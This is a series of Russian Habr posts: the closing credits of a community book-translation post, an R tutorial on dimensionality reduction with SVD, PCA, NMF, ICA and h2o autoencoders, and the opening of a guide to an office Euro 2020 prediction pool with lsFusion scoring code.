> В конце нам прислали готовый свёрстанный PDF-документ, который я еще за пару дней посмотрел на основные косяки (забытые термины, и т.п.). После этого отправил в издательство еще пачку исправлений. После этого книга ушла в печать.
>
>
Заключение
----------
Давайте дружно скажем спасибо нашим ребятам, которые сделали очередной правильный перевод реальностью:
* Игорь Лабутин
* Андрей Беленцов
* Максим Шошин
* Вадим Мингажев
* Сергей Бензенко
* Радмир Тагиров
* Эмиль Янгиров
* Анатолий Кулаков
Оценить результат трудов можно, заказав книгу на [сайте](https://tinyurl.com/lock-book-ru) издательства ДМК. А с промокодом `ASP.NET_HABR` она будет на 25% дешевле.
А еще у нас есть отдельный [телеграм-чат](https://t.me/DotNetRuTranslate), в котором можно пообщаться с редакторами перевода, задать вопросы или просто подискутировать на тему переводов и участия сообщества в подобных активностях.
### Чем ещё занимается сообщество
Организуем митапы и [выкладываем записи](https://www.youtube.com/dotnetru) докладов на YouYube.
Делимся новостями в [vk](https://vk.com/dotnetru) и [tg](https://t.me/DotNetRu), общаемся в [чатике](https://t.me/DotNetRuChat).
Ведем подкасты: [RadioDotNet](https://radio.dotnet.ru/) и [DotNet & More](https://more.dotnet.ru/).
 | https://habr.com/ru/post/581224/ | null | ru | null |
# Как уменьшить количество измерений и извлечь из этого пользу
 Сначала я хотел честно и подробно написать о методах снижения размерности данных — [PCA](https://en.wikipedia.org/wiki/Principal_component_analysis), [ICA](https://en.wikipedia.org/wiki/Independent_component_analysis), [NMF](https://en.wikipedia.org/wiki/Non-negative_matrix_factorization), вывалить кучу формул и сказать, какую же важную роль играет [SVD](https://en.wikipedia.org/wiki/Singular_value_decomposition) во всем этом зоопарке. Потом понял, что получится текст, похожий на вырезки из опусов от [Mathgen](http://habrahabr.ru/post/155451), поэтому количество формул свел к минимуму, но самое любимое — код и картинки — оставил в полном объеме.
Еще думал написать об автоэнкодерах. В R же, как известно, беда с нейросетевыми библиотеками: либо [медленные](https://cran.r-project.org/web/packages/nnet/index.html), либо [глючные](https://cran.r-project.org/web/packages/RSNNS/index.html), либо [примитивные](https://cran.r-project.org/web/packages/deepnet/index.html). Это и понятно, ведь без полноценной поддержки GPU (и в этом огромный минус R по сравнению с Python) работа со сколь-нибудь сложными нейронными сетями — и в особенности с [Deep Learning](http://deeplearning.net/tutorial/contents.html) — практически бессмысленна (хотя есть подающий надежды развивающийся проект [MXNet](https://github.com/dmlc/mxnet/tree/master/R-package) ). Интересен также относительно свежий фреймворк [h2o](https://en.wikipedia.org/wiki/H2O_%28software%29), авторов которого консультирует небезызвестный [Trevor Hastie](https://en.wikipedia.org/wiki/Trevor_Hastie), а Cisco, eBay и PayPal даже используют его для создания [своих планов по порабощению человечества](https://habrastorage.org/files/047/9c8/932/0479c89321354b4b91a6f9fc402f87aa.jpeg). Фреймворк написан на Java (да-да, и очень любит оперативную память). К сожалению, он тоже не поддерживает работу с GPU, т.к. имеет несколько иную целевую аудиторию, но зато отлично масштабируется и предоставляет интерфейс к R и Python (хотя любители мазохизма могут воспользоваться и висящем по дефолту на [localhost:54321 web-интерфейсом)](https://habrastorage.org/files/0f9/014/da4/0f9014da492a4c74a5dca746809c2d4a.jpg).
Так вот, если уж возник вопрос о количестве измерений в наборе данных, то это значит, что их, ну, скажем так, довольно много, из-за чего применение алгоритмов машинного обучения становится не совсем удобным. А иногда часть данных — всего лишь информационный шум, бесполезный мусор. Поэтому лишние измерения желательно убрать, вытащив из них по возможности все самое ценное. Кстати, может возникнуть и обратная задача — добавить еще измерений, а попросту — больше интересных и полезных фич. Выделенные компоненты могут быть полезны и для целей визуализации ([t-SNE](https://en.wikipedia.org/wiki/T-distributed_stochastic_neighbor_embedding) на это, например, и ориентирован). Алгоритмы декомпозиции интересны и сами по себе в качестве машинных методов обучения без учителя, что, согласитесь, иногда может и вовсе привести к решению первичной задачи.
### Матричные разложения
В принципе, для сокращения размерности данных с той или иной эффективностью можно приспособить большинство методов машинного обучения — этим, собственно, они и занимаются, отображая одни многомерные пространства в другие. Например, результаты работы PCA и K-means в некотором смысле эквивалентны. Но обычно хочется сокращать размерность данных без особой возни с поиском параметров модели. Самым важным среди таких методов, конечно же, является [SVD](https://en.wikipedia.org/wiki/Singular_value_decomposition). «Почему SVD, а не PCA?» — спросите вы. Потому что SVD, во-первых, само по себе является отдельной важной методикой при анализе данных, а полученные в результате разложения матрицы имеют вполне осмысленную интерпретацию с точки зрения машинного обучения; во-вторых, его можно использовать для PCA и с [некоторыми оговорками для NMF](http://arxiv.org/pdf/1410.2786v1.pdf) (как и других методов факторизации матриц); в-третьих, SVD можно приспособить для [улучшения результатов работы ICA](http://www.gipsa-lab.grenoble-inp.fr/~jerome.mars/2004_Signal_Processing_SVD_ICA_Vrabie.pdf). Кроме того, у SVD нет таких неудобных свойств, как, например, применимость только к квадратным (разложения [LU](https://en.wikipedia.org/wiki/LU_decomposition), [Schur](https://en.wikipedia.org/wiki/Schur_decomposition)) или квадратным симметричным положительно определенным матрицам ([Cholesky](https://en.wikipedia.org/wiki/Cholesky_decomposition)), или только к матрицам, элементы которых неотрицательны ([NMF](https://en.wikipedia.org/wiki/Non-negative_matrix_factorization)). Естественно, за универсальность приходится платить — сингулярное разложение довольно медленное; поэтому, когда матрицы слишком большие, применяют [рандомизированные алгоритмы](https://web.stanford.edu/group/mmds/slides2010/Martinsson.pdf).
Суть SVD проста — любая матрица (вещественная или комплексная) представляется в виде произведения трех матриц:
**X=UΣV\*,**
где U — [унитарная](https://en.wikipedia.org/wiki/Unitary_matrix) матрица порядка m; Σ — матрица размера m x n, на главной диагонали которой лежат неотрицательные числа, называющиеся [сингулярными](https://en.wikipedia.org/wiki/Singular_value) (элементы вне главной диагонали равны нулю — такие матрицы иногда называют прямоугольными диагональными матрицами); V\* — [эрмитово-сопряжённая](https://en.wikipedia.org/wiki/Conjugate_transpose) к V матрица порядка n. m столбцов матрицы U и n столбцов матрицы V называются соответственно левыми и правыми сингулярными векторами матрицы X. Для задачи редукции количества измерений именно матрица Σ, элементы которой, будучи возведенными во вторую степень, можно интерпретировать как дисперсию, которую «вкладывает» в общее дело каждая компонента, причем в убывающем порядке: σ1 ≥ σ2 ≥… ≥ σnoise. Поэтому-то при выборе количества компонент при SVD (как и при PCA, между прочим) ориентируются именно на сумму дисперсий, которую дают учитываемые компоненты. В R операцию сингулярной декомпозиции выполняет функция svd(), которая возвращает список из трех элементов: вектора d c сингулярными значениями, матриц u и v.
Да, так выглядит Саша в серых полутонах *со всего лишь одной компонентой*, но и тут можно разглядеть базовую линеаризованную структуру — в соответствии с градациями на исходном изображении. Сама компонента получается, если умножить левый сингулярный вектор на соответствующие ему сингулярное значение и правый сингулярный вектор. По мере увеличения количества векторов растет и качество реконструкции изображения:
[](https://habrastorage.org/files/979/b02/f23/979b02f237b244fb95acd29acdcd611e.png)
На следующем графике видно, что первая компонента объясняет более 80% дисперсии:
**Код на R, сингулярная декомпозиция:**
```
library(jpeg)
img <- readJPEG("source.jpg")
svd1 <- svd(img)
# Первая компонента
comp1 <- svd1$u[, 1] %*% t(svd1$v[, 1]) * svd1$d[1]
par(mfrow=c(1,2))
image(t(img)[,nrow(img):1], col=gray(0:255 / 255), main="Оригинал")
image(t(comp1)[,nrow(comp1):1], col=gray(0:255 / 255), main="1 компонента")
# Несколько компонент
par(mfrow=c(2,2))
for (i in c(3, 15, 25, 50)) {
comp <- svd1$u[,1:i] %*% diag(svd1$d[1:i])%*% t(svd1$v[,1:i])
image(t(comp)[,nrow(comp):1], col=gray(0:255 / 255), main=paste0(i," компонент(ы)"))
}
par(mfrow=c(1,1))
plot(svd1$d^2/sum(svd1$d^2),pch=19,xlab="Компоненты",ylab="% от суммарной дисперсии", cex=0.4)
grid()
```
Что будет, если из исходного изображения вычесть средние значения каждого столбца, разделить полученную матрицу на корень квадратный из количества столбцов в исходной матрице, а потом выполнить сингулярное разложение? Оказывается, что столбцы матрицы V в полученном разложении в точности будут соответствовать главным компонентам, которые получаются при PCA (к слову, в R для PCA можно использовать функцию prcomp() )
```
> img2 <- apply(img, 2, function(x) x - mean(x)) / sqrt(ncol(img))
> svd2 <- svd(img2)
> pca2 <- prcomp(img2)
> svd2$v[1:2, 1:5]
[,1] [,2] [,3] [,4] [,5]
[1,] 0.007482424 0.0013505222 -1.059040e-03 0.001079308 -0.01393537
[2,] 0.007787882 0.0009230722 -2.512017e-05 0.001324682 -0.01373691
> pca2$rotation[1:2, 1:5]
PC1 PC2 PC3 PC4 PC5
[1,] 0.007482424 0.0013505222 -1.059040e-03 0.001079308 -0.01393537
[2,] 0.007787882 0.0009230722 -2.512017e-05 0.001324682 -0.01373691
```
Таким образом, при выполнении сингулярного разложения нормализованной исходной матрицы не составляет труда выделить главные компоненты. Это и есть один из способов их вычисления; второй же основывается непосредственно на поиске [собственных векторов ковариационной матрицы](https://en.wikipedia.org/wiki/Eigenvalues_and_eigenvectors#Principal_component_analysis) XXT.
Вернемся к вопросу выбора количества главных компонент. Капитанское правило такое: чем больше компонент, тем больше дисперсии они описывают. [Andrew Ng](https://en.wikipedia.org/wiki/Andrew_Ng), например, советует ориентироваться на >90% дисперсии. Другие исследователи утверждают, что это число может быть и 50%. Даже придуман так называемый [параллельный анализ](http://www.apa.org/pubs/journals/features/met-a0030005.pdf) Хорна, который основывается на симуляции Монте-Карло. В R для этого и [пакет](https://cran.r-project.org/web/packages/paran/) есть. Совсем простой подход — использовать [scree plot](https://stat.ethz.ch/R-manual/R-devel/library/stats/html/screeplot.html): на графике надо искать «локоть» и отбрасывать все компоненты, которые формируют пологую часть этого «локтя». На рисунке ниже, я бы сказал, надо учитывать 6 компонент:
[](https://habrastorage.org/files/44e/4b9/322/44e4b93227e7437a8039faacfc1341af.jpg "David Duchovny aka Dennis Bryson aka Fox Mulder")
В общем, как вы видите. вопрос неплохо проработан. Также бытует мнение, что PCA применим только для нормально распределенных данных, но [Wiki](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D1%8B%D1%85_%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82#.D0.93.D1.80.D0.B0.D0.BD.D0.B8.D1.86.D1.8B_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D0.BD.D0.B8.D0.BC.D0.BE.D1.81.D1.82.D0.B8_.D0.B8_.D0.BE.D0.B3.D1.80.D0.B0.D0.BD.D0.B8.D1.87.D0.B5.D0.BD.D0.B8.D1.8F_.D1.8D.D1.84.D1.84.D0.B5.D0.BA.D1.82.D0.B8.D0.B2.D0.BD.D0.BE.D1.81.D1.82.D0.B8_.D0.BC.D0.B5.D1.82.D0.BE.D0.B4.D0.B0) с этим не согласна, и SVD/PCA можно использовать с данными любого распределения, но, конечно, не всегда результативно (что выясняется эмпирически).
Еще одно интересное разложение — это [факторизация неотрицательных матриц](https://en.wikipedia.org/wiki/Non-negative_matrix_factorization), которая, как следует из названия, применяется для разложения неотрицательных матриц на неотрицательные матрицы:
**X=WH**.
В целом, такая задача не имеет точного решения (в отличие от SVD), и для ёё вычисления используют численные алгоритмы. Задачу можно сформулировать в терминах [квадратичного программирования](https://en.wikipedia.org/wiki/Quadratic_programming) — и в этом смысле она будет близка к [SVM](https://en.wikipedia.org/wiki/Support_vector_machine). В проблеме же сокращения размерности пространства важным является вот что: если матрица Х имеет размерность m x n, то соответственно матрицы W и H имеют размерности m x k и k x n, и, выбирая k намного меньше самих m и n, можно значительно урезать эту самую исходную размерность. NMF любят применят для [анализа текстовых данных](http://csweb.cs.wfu.edu/~pauca/publications/SIAMDM03.pdf), там, где неотрицательные матрицы хорошо согласуются с самой природой данных, но в целом [спектр применения методики](https://en.wikipedia.org/wiki/Non-negative_matrix_factorization#Applications) не уступает PCA. Разложение первой картинки в R дает такой результат:
[](https://habrastorage.org/files/5ea/e9c/ca5/5eae9cca5e5e443fba201e3b287f569b.png)
**Код на R, NMF:**
```
library(NMF)
par(mfrow=c(2,2))
for (i in c(3, 15, 25, 50)) {
m.nmf <- nmf(img, i)
W <- m.nmf@fit@W
H <- m.nmf@fit@H
X <- W%*%H
image(t(X)[,nrow(X):1], col=gray(0:255 / 255), main=paste0(i," компонент(ы)"))
}
```
### Если требуется что-то более экзотичное
Есть такой метод, который изначально разрабатывался для разложения сигнала с аддитивными компонентами — я говорю об [ICA](https://en.wikipedia.org/wiki/Independent_component_analysis). При этом принимается гипотеза, что эти компоненты имеют не нормальное распределение, и их источники независимы. Простейший пример — [вечеринка](https://en.wikipedia.org/wiki/Cocktail_party_effect), где множество голосов смешиваются, и стоит задача выделить каждый звуковой сигнал от каждого источника. Для поиска независимых компонент обычно используют два подхода: 1) с минимизацией [взаимной информации](https://en.wikipedia.org/wiki/Mutual_information) на основе дивергенции [Кульбака-Лейблера](https://en.wikipedia.org/wiki/Kullback–Leibler_divergence); 2)с максимизацией «негауссовости» (тут используются такие меры как [коэффициент эксцесса](https://en.wikipedia.org/wiki/Kurtosis) и [негэнтропия](https://en.wikipedia.org/wiki/Negentropy)).
На картинке ниже — простой пример, где смешиваются две синусоиды, потом они же с помощью ICA и выделяются.
**Код на R, ICA:**
```
x <- seq(0, 2*pi, length.out=5000)
y1 <- sin(x)
y2 <- sin(10*x+pi)
S <- cbind(y1, y2)
A <- matrix(c(1/3, 1/2, 2, 1/4), 2, 2)
y <- S %*% A
library(fastICA)
IC <- fastICA(y, 2)
par(mfcol = c(2, 3))
plot(x, y1, type="l", col="blue", pch=19, cex=0.1, xlab="", ylab="", main="Исходные сигналы")
plot(x, y2, type="l", col="green", pch=19, cex=0.1, xlab = "", ylab = "")
plot(x, y[,1], type="l", col="red", pch=19, cex=0.5, xlab = "", ylab = "", main="Смешанные сигналы")
plot(x, y[,2], type="l", col="red", pch=19, cex=0.5, xlab = "", ylab = "")
plot(x, IC$S[,1], type="l", col="blue", pch=19, cex=0.5, xlab = "", ylab = "", main="ICA")
plot(x, IC$S[,2], type="l", col="green", pch=19, cex=0.5, xlab = "", ylab = "")
```
Какое отношение имеет ICA к задаче уменьшения размерности данных? Попробуем представить данные — вне зависимости от их природы — как смесь компонент, тогда можно будет разделить эту смесь на то количество «сигналов», которое нам подходит. Особого критерия, как в случае с PCA, по выбору количества компонент нет — оно подбирается экспериментально.
Последний подопытный в этом обзоре — [автоэнкодеры](https://en.wikipedia.org/wiki/Autoencoder), которые представляют собой особый класс нейронных сетей, настроенных таким образом, чтобы отклик на выходе автокодировщика был максимально близок к входному сигналу. Со всей мощью и гибкостью нейронных сетей мы одновременно получаем и массу проблем, связанных с поиском оптимальных параметров: количества скрытых слоев и нейронов в них, функции активации ([sigmoid](https://en.wikipedia.org/wiki/Sigmoid_function), [tanh](https://en.wikipedia.org/wiki/Hyperbolic_function#Standard_analytic_expressions), [ReLu](https://en.wikipedia.org/wiki/Rectifier_%28neural_networks%29),), алгоритма обучения и его параметров, способов регуляризации ([L1, L2](https://en.wikipedia.org/wiki/Regularization_%28mathematics%29), [dropout](https://en.wikipedia.org/wiki/Dropout_%28neural_networks%29)). Если обучать автоэнкодер на зашумленных данных с тем, чтобы сеть восстанавливала их, то получается [denoising autoencoder](http://deeplearning.net/tutorial/dA.html) . Предварительно настроенные автокодировщики также можно [«стыковать» в виде каскадов для предобучения глубоких сетей](https://upload.wikimedia.org/wikipedia/commons/7/7e/Stacked_Autoencoders.png?uselang=ru) без учителя.
В самом простом представлении автоэнкодер можно смоделировать как [многослойный перцептрон](https://en.wikipedia.org/wiki/Multilayer_perceptron), в котором количество нейронов в выходном слое равно количеству входов. Из рисунка ниже понятно, что, выбирая промежуточный скрытый слой малой размерности, мы тем самым «сжимаем» исходные данные.
Собственно, в пакете [h2o](https://cran.r-project.org/web/packages/h2o/h2o.pdf), который я упоминал выше, такой автоассоциатор присутствует, поэтому будем использовать его. Сначала я хотел показать пример с [жестами](https://habrastorage.org/files/f99/223/bea/f99223bea42743a18991986423ad3514.png), но быстро убедился, что несколькими предложениями тут не отделаешься, поэтому далее будут картинки с ~~набившими всем оскомину~~ рукописными цифрами из этого [соревнования](https://www.kaggle.com/c/digit-recognizer).
Данные представлены в виде .csv файлов (train.csv и test.csv), их довольно много, поэтому в дальнейшем для упрощения я буду работать с 10% данных из train.csv; колонка с метками (labels) будет использоваться только для целей визуализации. Но прежде чем выясним, что можно сделать с помощью автоэнкодера, посмотрим, что дают нам первые три компоненты при разложении PCA, ICA, NMF:
Все три метода неплохо справились с задачей кластеризации — на изображении более-менее отчетливо видны группы, плавно переходящие друг в друга. Вот эти переходы — пограничные случаи, когда цифры особенно сложны для распознавания. На рисунке с кластерами PCA очень хорошо заметно, как метод главных компонент решает важную задачу — декоррелирует переменные: кластеры «0» и «1» максимально разнесены в пространстве. «Необычность» рисунка с NMF связана как раз с тем, что метод работает только с неотрицательными матрицами. А вот такое разделение множеств можно получить с помощью автоэнкодера:
**Код на R, h2o автоэнкодер:**
```
train <- read.csv("train.csv")
label <- data$label
train$label <- NULL
train <- train / max(train)
# Подготовка выборки для обучения
library(caret)
tri <- createDataPartition(label, p=0.1)$Resample1
train <- train[tri, ]
label <- label[tri]
# Запуска кластера h2o
library(h2o)
h2o.init(nthreads=4, max_mem_size='14G')
train.h2o <- as.h2o(train)
# Обучение автоэнкодера и выделение фич
m.deep <- h2o.deeplearning(x=1:ncol(train.h2o),
training_frame=train.h2o,
activation="Tanh",
hidden=c(150, 25, 3, 25, 150),
epochs=600,
export_weights_and_biases=T,
ignore_const_cols=F,
autoencoder=T)
deep.fea <- as.data.frame(h2o.deepfeatures(m.deep, train.h2o, layer=3))
library(rgl)
palette(rainbow(length(unique(labels))))
plot3d(deep.fea[, 1], deep.fea[, 2], deep.fea[, 3], col=label+1, type="s",
size=1, box=F, axes=F, xlab="", ylab="", zlab="", main="AEC")
```
Тут кластеры более четко определены и разнесены в пространстве. У сети довольно простая архитектура с 5 скрытыми слоями и небольшим количеством нейронов; в третьем скрытом слое всего 3 нейрона, и фичи оттуда как раз и изображены выше. Еще немного занимательных картинок:
**Код на R, визуализация весов первого скрытого слоя:**
```
W <- as.data.frame(h2o.weights(m.deep, 1))
pdf("fea.pdf")
for (i in 1:(nrow(W))){
x <- matrix(as.numeric(W[i, ]), ncol=sqrt(ncol(W)))
image(x, axes=F, col=gray(0:255 / 255))
}
dev.off()
```
На самом деле, это всего лишь изображения весов нейронов: каждая картинка ассоциируется с отдельным нейроном и представляет фильтр, который выделяет специфичную для данного нейрона информацию. Вот для сравнения весы выходного слоя:
Вышеозначенный автоэнкодер несложно превратить в denoising autoencoder. Так как такому автокодировщику на вход надо подавать искаженные образы, перед первым скрытым слоем достаточно разместить [dropout слой](https://en.wikipedia.org/wiki/Convolutional_neural_network#Dropout). Благодаря ему с некоторой вероятностью нейроны будут находиться в «выключенном» состоянии, что а) будет вносить искажения в обрабатываемый образ; б) будет служить своеобразной регуляризацией при обучении.
Еще одно интересное применение автоэнкодера — определение аномалий в данных по ошибке реконструкции образов. В целом, если подавать на вход автоэнкодера данные не из обучающей выборки, то, понятно, ошибка реконструкции каждого образа из новой выборки будет выше таковой из тренировочной выборки, но более-менее одного порядка. При наличии аномалий эта ошибка будет в десятки, а то и сотни раз больше.
### Заключение
Безусловно, было бы неверно написать, что какой-то метод сжатия лучше или хуже других: каждый имеет свою специфику и область применения; многое зависит от природы самих данных. Не последнюю роль тут играет и скорость работы алгоритма. Из рассмотренных выше самым быстрым оказался SVD/PCA, потом по порядку идут ICA, NMF, и завершает ряд автоэнкодер. С автоассоциатором работать особенно сложно — не в последнюю очередь благодаря нетривиальности в подборе параметров. | https://habr.com/ru/post/275273/ | null | ru | null |
# Организуем собственный мини-тотализатор на матчи ЧЕ 2020 по футболу
Через несколько дней начнется чемпионат Европы по футболу - второй по значимости турнир среди сборных. Как и в любом другом турнире в нем будут как интересные, так и достаточно проходные для нейтрального болельщика матчи вроде “Дания - Финляндия” или “Польша - Словакия”. Смотреть такие матчи не всегда интересно, поэтому мы придумали в офисе игру, благодаря которой всегда есть за кого болеть, что значительно добавляет интерес просмотру. Мы играли в нее во время каждого крупного футбольного турнира, и правила игры претерпели ряд изменений по сравнению с первоначальными, чтобы сделать ее более интересной.
Игра представляет собой тотализатор с элементами покера, в которую могут играть любое количество участников. Лучше всего в нее играть с коллегами, чтобы была возможность каждый день обсудить перепетии всех событий вчерашних матчей. В этой статье я опишу механику игры, и как быстро и легко организовать ее у себя в офисе среди коллег.
Механика
--------
Суть игры заключается в том, что участники должны делать ставки на каждый матч, по результатам которого между участниками делятся очки пропорционально баллам. За угаданный счет дается 3 балла. За правильную разницу голов - 2 балла, а за угаданный результат - 1 балл.
ПримерЗа матч дается 100 очков, и он завершился победой хозяев со счетом 3:1. Один участник поставил на счет 3:1, еще 2 участника на счет 2:0 и 4:2, и еще 3 участника на счет 1:0, 4:1 и 5:1. В сумме они набрали 10 баллов (1 *\** 3 *+* 2 \* 2 + 3 \* 1). Таким образом первый участник получит 30 очков (100 / 10 \* 3), а другие по 20 и 10 очков, соответственно.
Такая механика игры мотивируют участников не только угадывать результат игры, исходя из сил футбольных команд, а также угадывать на какой результат сделают ставки другие участники. Например, если в матче Венгрия - Германия 9 человек поставят на гостей, а только один на хозяев, то в случае победы Венгрии он сорвет джек-пот и получит все 100 очков, резко вырвавшись вперед. Правда на практике это иногда приводило к тому, что большинство людей ставили именно на аутсайдера, рассчитывая, что все сделают ставку на фаворита. Особенно сильно это проявлялось в конце турнира, когда участникам с небольшим количеством очков хотелось в конце вырваться вперед за счет “джек-потов”.
Также мы решили сделать, чтобы количество очков за матч возрастало к концу турнира, чтобы у аутсайдеров не терялся интерес. Так за групповой раунд мы начисляли 100 очков, за ⅛ финала - 200, четвертьфинал - 300, полуфинал - 400, а финал стоил 500 очков. Благодаря такой схеме, самая “жара” начиналась именно к концу турнира, и иногда, даже с последнего места, за несколько последних матчей кто-то вырывался на первые места.
Одним из важных моментов для увлекательности игры является то, что участники видят ставки других участников сразу после начала матча (естественно, менять после начала матча свою ставку уже нельзя). В результате, в зависимости от текущего счета, выгодный для участника результат может меняться на совершенно другой в зависимости от текущей турнирной ситуации. Например, если кто-то поставил на победу крупную победу фаворита, и все остальные тоже, то в случае ничьи к концу игры выгоднее, чтобы игра завершилась победой аутсайдера.
Чтобы сделать игру более азартной можно организовать внутренний *банк*, куда все участники скинут какую-то сумму, а затем он будет поделен между победителями всего турнира. Можно, например, чтобы победитель забирал 50% всего банка, второе место - 30%, а третье - 20%. Количество призовых мест можно увеличить, если участников много, чтобы в конце турнира был интерес для тех, кто находится внизу таблицы.
Принципиальное отличие этой игры от классического тотализатора в том, что в современных букмекерских конторах игрок соревнуются против людей во всем мире, так как компании ставят друг у друга. Кроме того, статистически можно выиграть только, если человек лучше разбирается в футболе, чем средний игрок. В этой же игре люди играют против своих же коллег, и победа больше зависит не столько от знания футбола, сколько от понимания психологии своих противников. Плюс нет комиссии организатору :)
Организация турнира
-------------------
Итак, что нужно, чтобы организовать у себя в офисе турнир ? Прежде всего нужна программа с веб-интерфейсом. Ее мы быстро сделали на открытой и бесплатной платформе lsFusion. Нельзя сказать, что там просто идеальный пользовательский интерфейс, но для организации игры нам было достаточно. Программу можно установить как на своем сервере (но нужно, чтобы она была доступна извне, так как матчи обычно проходят в нерабочее время), так и воспользоваться уже установленной программой на нашем выделенном сервере. Второй вариант не требует никаких дополнительных действий, поэтому я сначала расскажу именно про него.
Точка доступа в программу находится по адресу : <https://euro.lsfusion.org>. В ней можно одновременно проводить сколько угодно *турниров*. Заходить в систему можно как с настольного компьютера, так и с мобильного или планшета.
Для организации своего турнира нужен *организатор*. Он будет подключать к турниру других участников, а также, при необходимости, собирать и хранить *банк*. Организатор должен сначала зарегистрироваться по вышеуказанному адресу, нажав кнопку *Зарегистрироваться* :
Все поля обязательные для заполнения, но в них можно заполнять что угодно. Проверки email не проводится, но если его указать неправильно, то невозможно будет восстановить пароль. Логин должен быть глобально уникальный. В самом турнире будут показываться только логин, имя и фамилия. Поэтому желательно их заполнять таким образом, чтобы остальные участники могли определить кто есть кто (но не обязательно вводить реальные личные данные).
Таким же образом должны зарегистрироваться все остальные участники. После регистрации участника организатор может добавить его в свой *турнир* нажав кнопку *Добавить игрока* на форме *Таблица* :
На открывшейся форме нужно ввести логин участника, которого необходимо добавить в турнир.
В остальном ответственность организатора ничем не отличается от участников. При входе в программу открываются две закладки :
Форма "Ставки"В этой форме пользователь должен в последних двух колонках (зеленых) верхней таблицы сделать ставку на счет для каждого матча. В нижней части можно посмотреть кто уже сделал ставку, а после начала матча - какую именно.
Форма "Таблица"Здесь участник может посмотреть итоговую таблицу по набранным очкам в режиме реального времени.
Кроме того каждому участнику доступна форма **Глобальная таблица**, где рассчитывается итоговая таблица для всех участников, как будто они участвуют в одном турнире. В ней не показываются имена игроков, а только логины.
Опыт показывает, что лучше каждому участнику сделать ставки сразу на все матчи, так как их можно поменять в любой момент до начала матчи. Иначе, в случае форс-мажора, участник может забыть сделать хоть какую-то ставку, и не будет участвовать в розыгрыше очков по начавшемуся матчу.
Если по какой-то причине хочется провести турнир на своем сервере, то это можно сделать следующим образом :
Установка на собственный серверДля установки потребуется виртуальный сервер под Linux с 2ГБ памяти.
Сначала нужно установить платформу lsFusion, как указано в этой [инструкции](https://docs.lsfusion.org/ru/Install).
Затем создать в папке /var/lib/lsfusion файл с именем Euro2020.lsf и поместить туда следующий код :
```
MODULE Euro2020;
REQUIRE Authentication, Time;
CLASS Team 'Команда';
name 'Название' = DATA ISTRING[50] (Team) IN id;
FORM team 'Команда'
OBJECTS t = Team PANEL
PROPERTIES(t) name
EDIT Team OBJECT t
;
FORM teams 'Команды'
OBJECTS t = Team
PROPERTIES(t) READONLY name
PROPERTIES(t) NEWSESSION NEW, EDIT, DELETE
LIST Team OBJECT t
;
CLASS Match 'Матч';
dateTime 'Начало матча' = DATA DATETIME (Match) NONULL IN id;
started (Match m) = dateTime(m) < currentDateTime();
CONSTRAINT CHANGED(dateTime(Match m)) AND PREV(dateTime(m)) AND NOT DROPPED(m IS Match) MESSAGE 'Запрещено изменять время начала матча';
homeTeam 'Хозяева' = DATA Team (Match) NONULL;
nameHomeTeam 'Хозяева' (Match m) = name(homeTeam(m)) IN id;
awayTeam 'Гости' = DATA Team (Match) NONULL;
nameAwayTeam 'Гости' (Match m) = name(awayTeam(m)) IN id;
homeScore 'Результат (хозяева)' = DATA INTEGER (Match);
awayScore 'Результат (гости)' = DATA INTEGER (Match);
homeScore 'Ставка (хозяева)' = DATA INTEGER (Match, CustomUser);
awayScore 'Ставка (гости)' = DATA INTEGER (Match, CustomUser);
home 'Победа (хозяева)' (Match m) = (GROUP SUM 1 IF homeScore(m, CustomUser c) > awayScore(m, c)) IF started(m);
tie 'Ничья' (Match m) = (GROUP SUM 1 IF homeScore(m, CustomUser c) = awayScore(m, c)) IF started(m);
away 'Победа (гости)' (Match m) = (GROUP SUM 1 IF homeScore(m, CustomUser c) < awayScore(m, c)) IF started(m);
startedHomeScore 'Ставка (хозяева)' (Match m, CustomUser c) = homeScore(m, c) IF started(m);
startedAwayScore 'Ставка (гости)' (Match m, CustomUser c) = awayScore(m, c) IF started(m);
hasBet 'Сделана ставка' (Match m, CustomUser c) = homeScore(m, c) AND awayScore(m, c);
countBets 'Кол-во ставок' (Match m) = GROUP SUM 1 IF hasBet(m, CustomUser c);
CONSTRAINT DROPPED(Match m IS Match) AND PREV(countBets(m)) MESSAGE 'Запрещено удалять матч, по которому сделаны ставки';
CONSTRAINT CHANGED(homeScore(Match m, CustomUser c)) AND started(m) MESSAGE 'Запрещено изменять результат начавшегося матча';
CONSTRAINT CHANGED(awayScore(Match m, CustomUser c)) AND started(m) MESSAGE 'Запрещено изменять результат начавшегося матча';
CONSTRAINT CHANGED(homeScore(Match m)) AND NOT started(m) MESSAGE 'Запрещено изменять счет матча до начала матча';
CONSTRAINT CHANGED(awayScore(Match m)) AND NOT started(m) MESSAGE 'Запрещено изменять счет матча до начала матча';
currentHomeScore 'Ставка (хозяева)' (Match m) = homeScore(m, currentUser());
currentAwayScore 'Ставка (гости)' (Match m) = awayScore(m, currentUser());
changeCurrentHomeScore (Match m) {
FOR CustomUser u = currentUser() DO
INPUT =homeScore(m, u) CHANGE;
}
changeCurrentAwayScore (Match m) {
FOR CustomUser u = currentUser() DO
INPUT =awayScore(m, u) CHANGE;
}
// Расчет очков
cost 'Стоимость' = DATA INTEGER (Match);
correctScore (Match m, CustomUser c) = homeScore(m, c) == homeScore(m) AND awayScore(m, c) == awayScore(m);
correctScore 'Правильный счет' (CustomUser c) = GROUP SUM 1 IF correctScore (Match m, c);
correctDelta (Match m, CustomUser c) = homeScore(m, c) - awayScore(m, c) == homeScore(m) - awayScore(m);
correctDelta 'Правильная разница' (CustomUser c) = GROUP SUM 1 IF correctDelta (Match m, c);
correctResult (Match m, CustomUser c) = (homeScore(m, c) - awayScore(m, c)) * (homeScore(m) - awayScore(m)) > 0 OR
(homeScore(m, c) == awayScore(m, c) AND homeScore(m) == awayScore(m));
correctResult 'Правильный результат' (CustomUser c) = GROUP SUM 1 IF correctResult (Match m, c);
points 'Кол-во баллов' = CASE
WHEN correctScore(Match m, CustomUser c) THEN 3
WHEN correctDelta(m, c) THEN 2
WHEN correctResult(m, c) THEN 1;
points 'Кол-во баллов' (CustomUser c) = GROUP SUM points(Match m, c);
points 'Кол-во баллов' (Match m) = GROUP SUM points(m, CustomUser c);
pointsStarted 'Кол-во баллов' (Match m) = points(m) IF started(m);
score 'Кол-во очков' (Match m, CustomUser c) = NUMERIC[16,4](cost(m) * points(m, c) / points(m));
score 'Кол-во очков' (CustomUser c) = GROUP SUM score(Match m, c);
